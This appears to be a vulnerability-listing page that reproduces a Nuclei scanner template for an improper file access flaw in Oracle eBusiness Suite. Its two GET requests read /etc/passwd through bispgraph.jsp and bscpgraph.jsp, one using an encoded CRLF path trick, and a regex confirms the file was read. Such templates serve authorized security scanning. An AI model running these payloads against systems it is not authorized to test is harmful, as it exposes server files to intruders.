oracle-ebs-bispgrapgh-file-read: Oracle eBusiness Suite - Improper File Access

2025-08-01 oracle-ebs-bispgrapgh-file-read PoC Public

Description

Oracle eBusiness Suite is susceptible to improper file access vulnerabilities via bispgrapgh. Be aware this product is no longer supported with patches or security fixes.

PoC

id: oracle-ebs-bispgrapgh-file-read

info:
  name: Oracle eBusiness Suite - Improper File Access
  author: emenalf,tirtha_mandal,thomas_from_offensity
  severity: critical
  description: |
    Oracle eBusiness Suite is susceptible to improper file access vulnerabilities via bispgrapgh. Be aware this product is no longer supported with patches or security fixes.
  reference:
    - https://www.blackhat.com/docs/us-16/materials/us-16-Litchfield-Hackproofing-Oracle-eBusiness-Suite-wp-4.pdf
    - http://www.davidlitchfield.com/AssessingOraclee-BusinessSuite11i.pdf
  metadata:
    max-request: 2
  tags: oracle,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/OA_HTML/bispgraph.jsp%0D%0A.js?ifn=passwd&ifl=/etc/"
      - "{{BaseURL}}/OA_HTML/jsp/bsc/bscpgraph.jsp?ifl=/etc/&ifn=passwd"

    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
# digest: 4a0a00473045022100afeb14dbdbd3b66a40fd6cf8cee10f9d83a5dd6feb47c83d0e5ca473d61fb88c0220110fb34f8e455657c6c04f4d48516d66c69d154ccb47bec32f6f50712da16cab:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/oracle/oracle-ebs-bispgraph-file-access.yaml

References

Related Vulnerabilities